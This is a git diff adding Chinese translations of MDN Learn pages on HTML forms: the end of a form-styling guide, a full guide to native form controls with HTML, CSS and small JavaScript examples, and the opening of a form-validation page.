一开始要隐藏初始复选框。可以简单的把它们从页面视图中拿开。这里要考虑两个重要的事情:

+ + + +
:root input[type=checkbox] {
+  /* original check box are push outside the viexport */
+  position: absolute;
+  left: -1000em;
+}
+ +

现在加上自己的图像就可以摆脱原来的复选框了,为此,要在初始的复选框后面加上{{HTMLElement("label")}}元素,并使用它的{{cssxref(":before")}}伪元素。因此在下面章节中,要使用selector属性来选择复选框,然后使用adjacent sibling selector来选择原有复选框后面的label。最后,访问{{cssxref(":before")}}伪元素来设计复选框显示定制样式。

+ +
:root input[type=checkbox] + label:before {
+  content: "";
+  display: inline-block;
+  width  : 16px;
+  height : 16px;
+  margin : 0 .5em 0 0;
+  background: url("https://developer.mozilla.org/files/4173/checkbox-sprite.png") no-repeat 0 0;
+
+/* The following is used to adjust the position of
+   the check boxes on the text baseline */
+
+  vertical-align: bottom;
+  position: relative;
+  bottom: 2px;
+}
+ +

在初始复选框上使用{{cssxref(":checked")}}和{{cssxref(":disabled")}}伪类来改变定制复选框的状态。因为使用了CSS精灵,我们需要做的只是修改背景的位置。

+ +
:root input[type=checkbox]:checked + label:before {
+  background-position: 0 -16px;
+}
+
+:root input[type=checkbox]:disabled + label:before {
+  background-position: 0 -32px;
+}
+
+:root input[type=checkbox]:checked:disabled + label:before {
+  background-position: 0 -48px;
+}
+ +

最后一件(但是很重要的)事情:当用户使用键盘从一个表单小部件导航到另一个表单小部件时,每个小部件都应该被显式聚焦。因为我们隐藏了初始的复选框,我们必须自己实现这个特性,让用户知道定制复选框在表单中的位置,下列的CSS实现了它们聚焦。

+ +
:root input[type=checkbox]:focus + label:before {
+  outline: 1px dotted black;
+}
+ +

你可以在线查看结果:

+ +

{{EmbedLiveSample("A_more_complex_example", 250, 130)}}

+ +

Dealing with the select nightmare

+ +

{{HTMLElement("select")}} 元素被认为是一个 "丑陋的" 组件,因为不可能保证它在跨平台时样式化的一致性。然而,有些事情是可能的。废话少说,让我们来看一个例子:

+ +
<select>
+  <option>Cherry</option>
+  <option>Banana</option>
+  <option>Strawberry</option>
+</select>
+ +
select {
+  width   : 80px;
+  padding : 10px;
+}
+
+option {
+  padding : 5px;
+  color   : red;
+}
+ +

下面的表格显示了在两种情况下不同浏览器的处理方式。头两列就是上面的例子。后面两列使用了其他的定制CSS,可以对小部件的外观进行更多的控制:

+ +
select, option {
+  -webkit-appearance : none; /* To gain control over the appearance on WebKit/Chromium */
+  -moz-appearance : none; /* To gain control over the appearance on Gecko */
+
+  /* To gain control over the appearance on and Trident (IE)
+     Note that it also works on Gecko and has partial effects on WebKit */
+  background : none;
+}
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
BrowserRegular renderingTweaked rendering
closedopenclosedopen
Firefox 57 (Mac OSX)
Firefox 57 (Windows 10)
Chrome 63 (Mac OSX)
Chrome 63 (Windows 10)
Opera 49 (Mac OSX)
IE11 (Windows 10)
Edge 16 (Windows 10)
+ +

如你所见,计时使用了-*-appearance属性的帮助,任然有一些遗留的问题:

+ + + +

在我们的例子中,只使用了三个CSS属性,在考虑使用更多CSS属性时,可以想象是很混乱的。正如我们看到的,CSS始终不适合用来修改这些小部件的外观,但是仍然可以用来稍微做一些事情。如果愿意的话,可以演示一下在不同操作系统和浏览器之间的区别。

+ +

我们也可以帮助了解在下一章节中哪个属性更合适:Properties compatibility table for form widgets

+ +

走向更完美表单之路:有用的库和polyfills(腻子)

+ +

虽然对于复选框和单选按钮而言,CSS的表示方式足够丰富,但是对更高级的小部件来说差距仍然很大。即使可以用{{HTMLElement("select")}}元素作一些事情,但是对file小部件的样式完全没用。对于日期选择器也同样如此。

+ +

要实现对表单小部件的完全控制,你别无选择,只能选择依靠JavaScript。在文章How to build custom form widgets中,我们将看到具体的做法,其中还有一些非常有用的库:

+ + + +

下面的库不止应用于表单,他们在处理HTML表单时是非常有趣的:

+ + + +

记住,使用CSS和JavaScript是有副作用的。所以在选择使用那些库时,应该在脚本失败的情况下能回滚样式表。脚本失败的原因很多,尤其在手机应用中,因此你需要尽可能好的设计你的Web站点或应用。

+ +

相关链接

+ +

虽然HTML表单使用CSS仍有一些黑洞,但通常也有方法绕过它们。即使没有清楚的,通用的解决方案,但新式的浏览器也提供了新的可能性。目前最好的方法是更多的学习不同浏览器支持CSS的方式,并应用于HTML表单小部件。

+ +

在本指南的下一章节中,我们将探讨不同的HTML表单小部件怎样很好的支持更重要的CSS属性:Properties compatibility table for form widgets.

+ +

相关链接

+ + + +

{{PreviousMenuNext("Learn/HTML/Forms/Styling_HTML_forms", "Learn/HTML/Forms/Property_compatibility_table_for_form_widgets", "Learn/HTML/Forms")}}

+ +

在本单元中

+ + + +

+ +

diff --git a/files/zh-cn/learn/forms/basic_native_form_controls/index.html b/files/zh-cn/learn/forms/basic_native_form_controls/index.html new file mode 100644 index 0000000000..8ef67a2f7a --- /dev/null +++ b/files/zh-cn/learn/forms/basic_native_form_controls/index.html @@ -0,0 +1,683 @@ +--- +title: 原生表单部件 +slug: Learn/HTML/Forms/The_native_form_widgets +translation_of: Learn/Forms/Basic_native_form_controls +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/HTML/Forms/How_to_structure_an_HTML_form", "Learn/HTML/Forms/Sending_and_retrieving_form_data", "Learn/HTML/Forms")}}
+ +

现在,我们将详细研究不同表单部件的功能,查看了哪些选项可用于收集不同类型的数据。这个指南有些详尽,涵盖了所有可用的原生表单小部件。

+ + + + + + + + + + + + +
预备知识:计算机基础知识和对于HTML的基本理解
目标:要了解在浏览器中可以使用什么类型的原生表单小部件来收集数据,以及如何使用HTML实现它们。
+ +

这里我们将关注浏览器内置的表单部件,但是因为HTML表单仍然相当有限并且实现的特性在不同的浏览器中可能是相当不同的,web开发人员有时会建立自己的表单部件——关于这个的更多想法,参见本模块后面的如何构建自定义表单部件

+ +
+

译者注:widget在本页面中被统一翻译为部件,但在其他地方可能也被译为组件。

+
+ +
+

注意:本文中讨论的大多数特性都在浏览器中得到了广泛的支持;我们会注意到例外的情况。如果您想要更准确的细节,您应该参考我们的HTML表单元素参考,特别是我们的广泛的 <input>类型参考。

+
+ +

通用属性

+ +

大部分用来定义表单小部件的元素都有一些他们自己的属性。然而,在所有表单元素中都有一组通用属性,它们可以对这些小部件进行控制。下面是这些通用属性的列表:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
属性名称默认值描述
autofocus(false)这个布尔属性允许您指定当页面加载时元素应该自动具有输入焦点,除非用户覆盖它,例如通过键入不同的控件。文档中只有一个与表单相关的元素可以指定这个属性。
disabled(false) +

这个布尔属性表示用户不能与元素交互。如果没有指定这个属性,元素将从包含它的元素继承设置,例如{{HTMLElement("fieldset")}};如果没有包含在设定了disabled属性的元素里,那么这个元素就是可用的。

+
form +

小部件与之相关联的表单元素。属性值必需是同个文档中的{{HTMLElement("form")}} 元素的 id属性。理论上,它允许您在{{HTMLElement("form")}}元素之外设置一个表单小部件。然而,在实践中,没有任何支持该特性的浏览器。

+
name元素的名称;这是跟表单数据一起提交的。
value元素的初始值。
+ +

文本输入框

+ +

文本输入框 {{htmlelement("input")}} 是最基本的表单小部件。 这是一种非常方便的方式,可以让用户输入任何类型的数据。但是,一些文本字段可以专门用于满足特定的需求。我们已经看到了几个简单的例子。

+ +
+

注意: HTML表单文本字段是简单的纯文本输入控件。 这意味着您不能使用它们执行富文本编辑(粗体、斜体等)。你遇到的所有富文本编辑器(rich text editors)都是使用HTML、CSS和JavaScript所创建的自定义小部件。

+
+ +

所有文本框都有一些通用规范:

+ + + +
+

注意:  {{htmlelement("input")}}元素是如此特别因为它几乎可以是任何东西。通过简单设置 type 属性,它可以彻底的改变,它用于创建大多数类型的表单小部件,包括单行文本字段、没有文本输入的控件、时间和日期控件和按钮。 然而,也有一些例外,比如用来多行输入的 {{htmlelement("textarea")}}。阅读这篇文章时,要注意这些。

+
+ +

单行文本框

+ +

使用{{htmlattrxref("type","input")}}属性值被设置为text 的{{HTMLElement("input")}}元素创建一个单行文本框(同样的,如果你不提供{{htmlattrxref("type","input")}}属性,text 是默认值)。在你指定的{{htmlattrxref("type","input")}}属性的值在浏览器中是未知的情况下(比如你指定 type="date",但是浏览器不支持原生日期选择器),属性值text也是备用值。

+ +
+

注意: 你可以在Github上的 single-line-text-fields.html找到所有单行文本框类型。(你也可以直接看预览版)。

+
+ +

这是一个基本的单行文本框示例:

+ +
<input type="text" id="comment" name="comment" value="I'm a text field">
+ +

单行文本框只有一个真正的约束:如果您输入带有换行符的文本,浏览器会在发送数据之前删除这些换行符。

+ +

Screenshots of single line text fields on several platforms.

+ +

HTML5通过为{{htmlattrxref("type","input")}}属性增加特殊值增强了基本单行文本框。这些值仍然将{{HTMLElement("input")}}元素转换为单行文本框,但它们为字段添加了一些额外的约束和特性。

+ +

E-mail 地址框

+ +

该类型的框将 {{htmlattrxref("type","input")}}属性设置为  email 值:

+ +
<input type="email" id="email" name="email" multiple>
+ +

当使用 type时, 用户需要在框中输入有效的电子邮件地址;任何其他内容都会导致浏览器在提交表单时显示错误。注意,这是客户端错误验证,由浏览器执行:

+ +

An invalid email input showing the message Please enter an email address.

+ +

通过包括{{htmlattrxref("multiple","input")}}属性,它还可以让用户将多个电子邮件地址输入相同的输入(以逗号分隔)。

+ +

在一些设备上(特别是在移动设备上),可能会出现一个不同的虚拟键盘,更适合输入电子邮件地址。

+ +
+

注意: 您可以在表单数据验证文中找到关于表单验证的更多信息。

+
+ +

密码框

+ +

通过设置{{htmlattrxref("type","input")}} 属性值为password来设置该类型框:

+ +
<input type="password" id="pwd" name="pwd">
+ +

它不会为输入的文本添加任何特殊的约束,但是它会模糊输入到字段中的值(例如,用点或小行星),这样它就不能被其他人读取。

+ +

请记住,这只是一个用户界面特性;除非你安全地提交你的表单,否则它会以明文发送,这不利于安全——恶意的一方可能会截获你的数据,窃取你的密码、信用卡信息,或者你提交的其他任何东西。保护用户不受此影响的最佳方式是在安全连接上托管任何涉及表单的页面(例如:https://……地址),使得数据在发送之前就已加密。

+ +

现代浏览器认识到在不安全的连接上发送表单数据所带来的安全影响,并且已经实现了警告,以阻止用户使用不安全的表单。有关Firefox实现的更多信息,请参见不安全的密码

+ +

搜索框

+ +

通过设置 {{htmlattrxref("type","input")}}属性值为 search 来设置该类型框:

+ +
<input type="search" id="search" name="search">
+ +

文本框和搜索框之间的主要区别是浏览器的样式——通常,搜索框是渲染成圆角的,并且/可能给定一个“x”来清除输入的值。然而,还有另外一个值得注意的特性:它们的值可以被自动保存用来在同一站点上的多个页面上自动补全。

+ +

Screenshots of search fields on several platforms.

+ +

电话号码栏:

+ +

通过 {{htmlattrxref("type","input")}}属性的 tel 值设置该类型框:

+ +
<input type="tel" id="tel" name="tel">
+ +

由于世界范围内各种各样的电话号码格式,这种类型的字段不会对用户输入的值执行任何限制(包括字母,等等)。这主要是在语义上的区分,尽管在一些设备上(特别是在移动设备上),可能会出现一个不同的虚拟键盘,更适合输入电话号码。

+ +

URL 栏

+ +

通过{{htmlattrxref("type","input")}}属性的url 值设置该类型框:

+ +
<input type="url" id="url" name="url">
+ +

它为字段添加了特殊的验证约束,如果输入无效的url,浏览器就会报告错误。

+ +
注意:URL格式良好并不一定意味着它引用了一个实际存在的位置。
+ +
+

注意:有特殊约束并出错了的输入框可以防止表单被发送;此外,还可以将它们设置为使错误更清晰。我们将在数据表单验证中详细讨论这个问题。

+
+ +

多行文本框

+ +

多行文本框专指使用 {{HTMLElement("textarea")}}元素,而不是使用{{HTMLElement("input")}} 元素。

+ +
<textarea cols="30" rows="10"></textarea>
+ +

textarea和常规的单行文本字段之间的主要区别是,允许用户输入包含硬换行符(即按回车)的文本。

+ +

Screenshots of multi-lines text fields on several platforms.

+ +
+

注意:你可以在Github上的multi-line-text-field.html看到本例(你也可以看预览版)。注意到在大多数浏览器中,文本区域在右下角有一个拖放操作,允许用户调整它的大小。这种调整能力可以通过使用CSS设置文本区域的{{cssxref("resize")}}性质为 none 来关闭。

+
+ +

{{htmlelement("textarea")}} 还接受了一些额外的属性,以控制它在几行代码中呈现的效果 (除此以外还有其他几个):

+ +

{{HTMLElement("textarea")}} 元素属性

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
属性名默认值描述
{{htmlattrxref("cols","textarea")}}20文本控件的可见宽度,平均字符宽度。
{{htmlattrxref("rows","textarea")}}控制的可见文本行数。
{{htmlattrxref("wrap","textarea")}}soft表示控件是如何包装文本的。可能的值:hard 或 soft
+ +

注意,{{HTMLElement("textarea")}}元素与{{HTMLElement("input")}}元素的编写略有不同。{{HTMLElement("input")}}元素是一个空元素,这意味着它不能包含任何子元素。另一方面,{{HTMLElement("textarea")}}元素是一个常规元素,可以包含文本内容的子元素。

+ +

这里有两个关键点需要注意:

+ + + +

下拉内容

+ +

下拉窗口小部件是一种简单的方法,可以让用户选择众多选项中的一个,而不需要占用用户界面的太多空间。HTML有两种类型的下拉内容:select boxautocomplete box。在这两种情况下,交互都是相同的——一旦控件被激活,浏览器就会显示用户可以选择的值列表。

+ +
+

注意:你可以在Github上的drop-down-content.html看到本例(你也可以看预览版)。

+
+ +

选择框

+ +

一个选择框是用{{HTMLElement("select")}}元素创建的,其中有一个或多个{{HTMLElement("option")}}元素作为子元素,每个元素都指定了其中一个可能的值。

+ +
<select id="simple" name="simple">
+  <option>Banana</option>
+  <option>Cherry</option>
+  <option>Lemon</option>
+</select>
+ +

如果需要,可以使用{{htmlattrxref("selected","option")}}属性在所需的{{HTMLElement("option")}}元素上设置选择框的默认值---在页面加载时会默认选择该选项。{{HTMLElement("option")}}元素也可以嵌套在{{HTMLElement("optgroup")}}元素中,以创建视觉关联的组值:

+ +
<select id="groups" name="groups">
+  <optgroup label="fruits">
+    <option>Banana</option>
+    <option selected>Cherry</option>
+    <option>Lemon</option>
+  </optgroup>
+  <optgroup label="vegetables">
+    <option>Carrot</option>
+    <option>Eggplant</option>
+    <option>Potato</option>
+  </optgroup>
+</select>
+ +

Screenshots of single line select box on several platforms.

+ +

如果一个{{HTMLElement("option")}}元素设置了value属性,那么当提交表单时该属性的值就会被发送。如果忽略了value属性,则使用{{HTMLElement("option")}}元素的内容作为选择框的值。

+ +

在{{HTMLElement("optgroup")}}元素中,label属性显示在值之前,但即使它看起来有点像一个选项,它也不是可选的。

+ +

多选选择框

+ +

默认情况下,选择框只允许用户选择一个值。通过将{{htmlattrxref("multiple","select")}}属性添加到{{HTMLElement("select")}}元素,您可以允许用户通过操作系统提供的默认机制来选择几个值。 (如, 同时按下 Cmd/Ctrl 并点击多个值).

+ +

注意:在多个选项选择框的情况下,选择框不再显示值为下拉内容——相反,它们都显示在一个列表中。

+ +
<select multiple id="multi" name="multi">
+  <option>Banana</option>
+  <option>Cherry</option>
+  <option>Lemon</option>
+</select>
+ +

Screenshots of multi-lines select box on several platforms.

+ +
注意:所有支持 {{HTMLElement("select")}} 元素的浏览器也支持 {{htmlattrxref("multiple","select")}} 。
+ +

自动补全输入框

+ +

您可以使用{{HTMLElement("datalist")}}元素来为表单小部件提供建议的、自动完成的值,并使用一些{{HTMLElement("option")}}子元素来指定要显示的值。

+ +

然后使用{{htmlattrxref("list","input")}}属性将数据列表绑定到一个文本框(通常是一个 <input> 元素)。

+ +

一旦数据列表与表单小部件相关联,它的选项用于自动完成用户输入的文本;通常,这是作为一个下拉框提供给用户的,匹配在输入框中输入了的内容。

+ +
<label for="myFruit">What's your favorite fruit?</label>
+<input type="text" name="myFruit" id="myFruit" list="mySuggestion">
+<datalist id="mySuggestion">
+  <option>Apple</option>
+  <option>Banana</option>
+  <option>Blackberry</option>
+  <option>Blueberry</option>
+  <option>Lemon</option>
+  <option>Lychee</option>
+  <option>Peach</option>
+  <option>Pear</option>
+</datalist>
+ +
注意: 根据HTML规范,{{htmlattrxref("list","input")}} 属性和{{HTMLElement("datalist")}}元素元素可以用于任何需要用户输入的小部件。但是,除了文本控件外(例如颜色或日期),还不清楚它会如何工作,不同的浏览器在不同的情况下会有不同的表现。正因为如此,除了文本字段以外,要小心使用这个特性。
+ +
Screenshots of datalist on several platforms.
+ +
+ +

数据列表支持和后备

+ +

{{HTMLElement("datalist")}}元素是HTML表单的最新补充,因此浏览器的支持比我们之前看到的要少一些。最值得注意的是,它在版本小于10的IE中不受支持,同时在版本小于12的Safari中不受支持。

+ +

为了处理这个问题,这里有一个小技巧,可以为这些浏览器提供一个不错的备用:

+ +
<label for="myFruit">What is your favorite fruit? (With fallback)</label>
+<input type="text" id="myFruit" name="fruit" list="fruitList">
+
+<datalist id="fruitList">
+  <label for="suggestion">or pick a fruit</label>
+  <select id="suggestion" name="altFruit">
+    <option>Apple</option>
+    <option>Banana</option>
+    <option>Blackberry</option>
+    <option>Blueberry</option>
+    <option>Lemon</option>
+    <option>Lychee</option>
+    <option>Peach</option>
+    <option>Pear</option>
+  </select>
+</datalist>
+
+ +

支持{{HTMLElement("datalist")}}元素的浏览器将忽略所有不是{{HTMLElement("option")}}元素的元素,并按照预期工作。另一方面,不支持{{HTMLElement("datalist")}}元素的浏览器将显示标签和选择框。当然,还有其他方法可以处理对{{HTMLElement("datalist")}}元素支持的不足,但这是最简单的(其他方法往往需要JavaScript)。

+ + + + + + + + + + + + +
Safari 6Screenshot of the datalist element fallback with Safari on Mac OS
Firefox 18Screenshot of the datalist element with Firefox on Mac OS
+ +

可选中项

+ +

可选中项是可以通过单击它们来更改状态的小部件。有两种可选中项:复选框和单选按钮。两者都使用{{htmlattrxref("checked","input")}}属性,以指示该部件的默认状态: "选中"或"未选中"。

+ +

值得注意的是,这些小部件与其他表单小部件不一样。对于大多数表单部件,一旦表单提交,所有具有{{htmlattrxref("name","input")}}属性的小部件都会被发送,即使没有任何值被填。对于可选中项,只有在勾选时才发送它们的值。如果他们没有被勾选,就不会发送任何东西,甚至连他们的名字也没有。

+ +
+

注意: 你可以在Github上看到 checkable-items.html (你也可以看预览版)。

+
+ +

为了获得最大的可用性和可访问性,建议您在{{htmlelement("fieldset")}}中包围每个相关项目的列表,并使用{{htmlelement("legend")}}提供对列表的全面描述。每个单独的{{htmlelement("label")}}/{{htmlelement("input")}}元素都应该包含在它自己的列表项中(或者类似的)。正如在示例中显示的。

+ +

您还需要为这些类型的输入提供value属性,如果您想让它们具有意义——如果没有提供任何值,则复选框和单选按钮被赋予一个 on值。

+ +

复选框

+ +

使用{{htmlattrxref("type","input")}}属性值为checkbox的 {{HTMLElement("input")}}元素来创建一个复选框。

+ +
<input type="checkbox" checked id="carrots" name="carrots" value="carrots">
+
+ +

包含checked属性使复选框在页面加载时自动被选中。

+ +

Screenshots of check boxes on several platforms.

+ +

单选按钮

+ +

使用{{htmlattrxref("type","input")}}属性值为radio的 {{HTMLElement("input")}}元素来创建一个单选按钮。

+ +
<input type="radio" checked id="soup" name="meal">
+ +

几个单选按钮可以连接在一起。如果它们的{{htmlattrxref("name","input")}}属性共享相同的值,那么它们将被认为属于同一组的按钮。同一组中只有一个按钮可以同时被选;这意味着当其中一个被选中时,所有其他的都将自动未选中。如果没有选中任何一个,那么整个单选按钮池就被认为处于未知状态,并且没有以表单的形式发送任何值。

+ +
<fieldset>
+  <legend>What is your favorite meal?</legend>
+  <ul>
+    <li>
+      <label for="soup">Soup</label>
+      <input type="radio" checked id="soup" name="meal" value="soup">
+    </li>
+    <li>
+      <label for="curry">Curry</label>
+      <input type="radio" id="curry" name="meal" value="curry">
+    </li>
+    <li>
+      <label for="pizza">Pizza</label>
+      <input type="radio" id="pizza" name="meal" value="pizza">
+    </li>
+  </ul>
+</fieldset>
+ +

Screenshots of radio buttons on several platforms.

+ +

按钮

+ +

在HTML表单中,有三种按钮:

+ +
+
Submit
+
将表单数据发送到服务器。对于{{HTMLElement("button")}} 元素, 省略 type 属性 (或是一个无效的 type 值) 的结果就是一个提交按钮.
+
Reset
+
将所有表单小部件重新设置为它们的默认值。
+
Anonymous
+
没有自动生效的按钮,但是可以使用JavaScript代码进行定制。
+
+ +
+

注意: 你可以在Github上看到button-examples.html (你也可以看预览版)。

+
+ +

使用 {{HTMLElement("button")}}元素或者{{HTMLElement("input")}}元素来创建一个按钮。{{htmlattrxref("type","input")}}属性的值指定显示什么类型的按钮。

+ +

submit

+ +
<button type="submit">
+    This a <br><strong>submit button</strong>
+</button>
+
+<input type="submit" value="This is a submit button">
+ +

reset

+ +
<button type="reset">
+    This a <br><strong>reset button</strong>
+</button>
+
+<input type="reset" value="This is a reset button">
+ +

button

+ +
<button type="button">
+    This an <br><strong>anonymous button</strong>
+</button>
+
+<input type="button" value="This is an anonymous button">
+ +

不管您使用的是{{HTMLElement("button")}}元素还是{{HTMLElement("input")}}元素,按钮的行为都是一样的。然而,有一些显著的不同之处:

+ + + +

Screenshots of buttons on several platforms.

+ +

从技术上讲,使用{{HTMLElement("button")}}元素或{{HTMLElement("input")}}元素定义的按钮几乎没有区别。唯一值得注意的区别是按钮本身的标签。在{{HTMLElement("input")}}元素中,标签只能是字符数据,而在{{HTMLElement("button")}}元素中,标签可以是HTML,因此可以相应地进行样式化。

+ +

高级表单部件

+ +

在本节中,我们将介绍那些让用户输入复杂或不寻常数据的小部件。这包括精确的或近似的数字,日期和时间,或颜色。

+ +
+

注意: 你可以在Github上看到advanced-examples.html (你也可以看预览版)。

+
+ +

数字

+ +

用于数字的小部件是用{{htmlattrxref("type","input")}}属性设置为number{{HTMLElement("input")}}的元素创建的。这个控件看起来像一个文本框,但是只允许浮点数,并且通常提供一些按钮来增加或减少小部件的值。

+ +

也可以:

+ + + +

例子

+ +
<input type="number" name="age" id="age" min="1" max="10" step="2">
+ +

这将创建一个数字小部件,其值被限制为1到10之间的任何值,而其增加和减少按钮的步进值将更改为2。

+ +

在10以下的Internet Explorer版本中不支持number 输入。

+ +

滑块

+ +

另一种选择数字的方法是使用滑块。从视觉上讲,滑块没有文本字段准确,因此它们被用来选择一个确切值并不重要的数字。

+ +

滑块是通过把{{HTMLElement("input")}}元素的{{htmlattrxref("type","input")}}属性值设置为range来创建的。正确配置滑块是很重要的;为了达到这个目的,我们强烈建议您设置{{htmlattrxref("min","input")}}、{{htmlattrxref("max","input")}}和{{htmlattrxref("step","input")}}属性。

+ +

例子

+ +
<input type="range" name="beans" id="beans" min="0" max="500" step="10">
+ +

这个例子创建了一个滑块,它可能的值在0到500之间,而它的递增/递减按钮以+10和-10来改变值。

+ +

滑块的一个问题是,它们不提供任何形式的视觉反馈,以了解当前的值是什么。您需要使用JavaScript来添加这一点,但这相对来说比较容易。在本例中,我们添加了一个空的{{htmlelement("span")}}元素,其中我们将写入滑块的当前值,并随着更改实时更新它。

+ +
<label for="beans">How many beans can you eat?</label>
+<input type="range" name="beans" id="beans" min="0" max="500" step="10">
+<span class="beancount"></span>
+ +

可以使用一些简单的JavaScript实现

+ +
var beans = document.querySelector('#beans');
+var count = document.querySelector('.beancount');
+
+count.textContent = beans.value;
+
+beans.oninput = function() {
+  count.textContent = beans.value;
+}
+ +

这里我们将对范围输入值和span的引用存储在两个变量里,然后我们立即将span的textContent设置为输入的当前value。最后,我们设置了一个oninput事件处理程序,以便每次移动范围滑块时,都会将span textContent更新为新的输入值。

+ +

在10以下的Internet Explorer版本中不支持range 。

+ +

日期时间选择器

+ +

对于web开发人员来说,收集日期和时间值一直是一场噩梦。HTML5通过提供一种特殊的控制来处理这种特殊的数据,从而带来了一些增强。

+ +

使用{{HTMLElement("input")}}元素和一个适当的值的{{htmlattrxref("type","input")}}属性来创建日期和时间控制,这取决于您是否希望收集日期、时间或两者都。

+ +

本地时间

+ +

这将创建一个小部件来显示和选择一个日期,但是没有任何特定的时区信息。

+ +
<input type="datetime-local" name="datetime" id="datetime">
+ +

+ +

这就创建了一个小部件来显示和挑选一个月。

+ +
<input type="month" name="month" id="month">
+ +

时间

+ +

这将创建一个小部件来显示并选择一个时间值。

+ +
<input type="time" name="time" id="time">
+ +

星期

+ +

这将创建一个小部件来显示并挑选一个星期号和它的年份。

+ +
<input type="week" name="week" id="week">
+ +

所有日期和时间控制都可以使用{{htmlattrxref("min","input")}}和{{htmlattrxref("max","input")}}属性来约束。

+ +
<label for="myDate">When are you available this summer?</label>
+<input type="date" name="myDate" min="2013-06-01" max="2013-08-31" id="myDate">
+ +

警告——日期和时间窗口小部件仍然很不受支持。目前,Chrome、Edge和Opera都支持它们,但IE浏览器没有支持,Firefox和Safari对这些都没有太大的支持。

+ +

拾色器

+ +

颜色总是有点难处理。有很多方式来表达它们:RGB值(十进制或十六进制)、HSL值、关键字等等。颜色小部件允许用户在文本和可视的方式中选择颜色。

+ +

一个颜色小部件是使用{{htmlattrxref("type","input")}}属性设置为值color{{HTMLElement("input")}}的元素创建的。

+ +
<input type="color" name="color" id="color">
+ +

警告——并不是所有浏览器都支持拾色器。IE中没有支持,Safari目前也不支持它。其他主要的浏览器都支持它。

+ +

其他小部件

+ +

还有一些其他的小部件由于它们非常特殊的行为而不能很容易地分类,但是它们仍然非常有用。

+ +
+

注意: 你可以在Github上看到other-examples.html(你也可以看预览版)。

+
+ +

文件选择器

+ +

HTML表单能够将文件发送到服务器;在发送和检索表单数据的文章中详细描述了这个特定的操作。文件选择器小部件是用户如何选择一个或多个文件来发送的。

+ +

要创建一个文件选择器小部件,您可以使用{{HTMLElement("input")}}元素,将它的{{htmlattrxref("type","input")}}属性设置为file。被接受的文件类型可以使用{{htmlattrxref("accept","input")}}属性来约束。此外,如果您想让用户选择多个文件,那么可以通过添加{{htmlattrxref("multiple","input")}}属性来实现。

+ +

例子

+ +

在本例中,创建一个文件选择器,请求图形图像文件。在本例中,允许用户选择多个文件。

+ +
<input type="file" name="file" id="file" accept="image/*" multiple>
+ +

隐藏内容

+ +

有时候,由于为了方便技术原因,有些数据是用表单发送的,但不显示给用户。要做到这一点,您可以在表单中添加一个不可见的元素。要做到这一点,需要使用{{HTMLElement("input")}}将它的{{htmlattrxref("type","input")}}属性设置为hidden值。

+ +

如果您创建了这样一个元素,就需要设置它的namevalue属性:

+ +
<input type="hidden" id="timestamp" name="timestamp" value="1286705410">
+ +

图像按钮

+ +

图像按钮控件是一个与{{HTMLElement("img")}}元素完全相同的元素,除了当用户点击它时,它的行为就像一个提交按钮(见上面)。

+ +

图像按钮是使用{{htmlattrxref("type","input")}}属性值设置为image{{HTMLElement("input")}}的元素创建的。这个元素支持与{{HTMLElement("img")}}元素相同的属性,和其他表单按钮支持的所有属性。

+ +
<input type="image" alt="Click me!" src="my-img.png" width="80" height="30" />
+ +

如果使用图像按钮来提交表单,这个小部件不会提交它的值;相反,提交的是在图像上单击处的X和Y坐标(坐标是相对于图像的,这意味着图像的左上角表示坐标0,0),坐标被发送为两个键/值对:

+ + + +

例如,当您点击这个小部件的图像时,您将被发送到一个URL,如下所显示的

+ +
http://foo.com?pos.x=123&pos.y=456
+ +

这是构建“热图”的一种非常方便的方式。如何发送和检索这些值在发送和检索表单数据文章中详细说明。

+ +

仪表和进度条

+ +

仪表和进度条是数值的可视化表示。

+ +

进度条

+ +

一个进度条表示一个值,它会随着时间的变化而变化到最大的值,这个值由{{htmlattrxref("max","progress")}}属性指定。这样的一个bar是使用{{ HTMLElement("progress")}}元素创建的。

+ +
<progress max="100" value="75">75/100</progress>
+ +

这是为了实现任何需要进度报告的内容,例如下载的总文件的百分比,或者问卷中填写的问题的数量。

+ +

{{HTMLElement("progress")}}元素中的内容用于不支持该元素的浏览器的回退,以及辅助技术对其朗读。

+ +

仪表

+ +

一个仪表表示一个固定值,这个值由一个{{htmlattrxref("min","meter")}}和一个{{htmlattrxref("max","meter")}}值所界定。这个值是作为一个条形显示的,并且为了知道这个工具条是什么样子的,我们将这个值与其他一些设置值进行比较

+ + + +

所有实现{{HTMLElement("meter")}}元素的浏览器都使用这些值来改变米尺的颜色。

+ + + +

这样的一个工具栏是使用{{HTMLElement("meter")}}元素创建的。这是用于实现任何类型的仪表,例如一个显示磁盘上使用的总空间的条,当它开始满时,它会变成红色。

+ +
<meter min="0" max="100" value="75" low="33" high="66" optimum="50">75</meter>
+ +

{{HTMLElement("meter")}}元素中的内容是不支持该元素的浏览器的回退,以及辅助技术对其发出的声音。

+ +

对进度条和仪表的支持是相当不错的,在Internet Explorer中没有支持,但是其他浏览器都可以很好的支持它。

+ +

总结

+ +

正如您在上面看到的,有许多不同类型的可用表单元素——您不需要一次性记住所有细节,可以随时返回本文查看详细信息。

+ +

另见

+ +

要深入了解不同的表单小部件,您需要了解一些有用的外部资源:

+ + + +

{{PreviousMenuNext("Learn/HTML/Forms/How_to_structure_an_HTML_form", "Learn/HTML/Forms/Sending_and_retrieving_form_data", "Learn/HTML/Forms")}}

diff --git a/files/zh-cn/learn/forms/form_validation/index.html b/files/zh-cn/learn/forms/form_validation/index.html new file mode 100644 index 0000000000..62758a26e6 --- /dev/null +++ b/files/zh-cn/learn/forms/form_validation/index.html @@ -0,0 +1,874 @@ +--- +title: 表单数据校验 +slug: Learn/HTML/Forms/Data_form_validation +tags: + - HTML +translation_of: Learn/Forms/Form_validation +--- +

{{LearnSidebar}}{{PreviousMenuNext("Learn/HTML/Forms/Sending_and_retrieving_form_data", "Learn/HTML/Forms/How_to_build_custom_form_widgets", "Learn/HTML/Forms")}}

+ +

表单校验帮助我们确保用户以正确格式填写表单数据,确保提交的数据能使我们的应用程序正常工作。本文将告诉您需要了解的有关表单校验的内容。

+ + + + + + + + + + + + +
预备知识:计算机基础能力,对 HTMLCSS 和 JavaScript 有一定的理解。
目标:理解表单校验是什么,为什么它很重要,以及如何实现它。
+ +

什么是表单数据校验?

+ +

访问任何一个带注册表单的网站,你都会发现,当你提交了没有输入符合预期格式的信息的表单时,注册页面都会给你一个反馈,这些信息可能看起来像下面这样的:

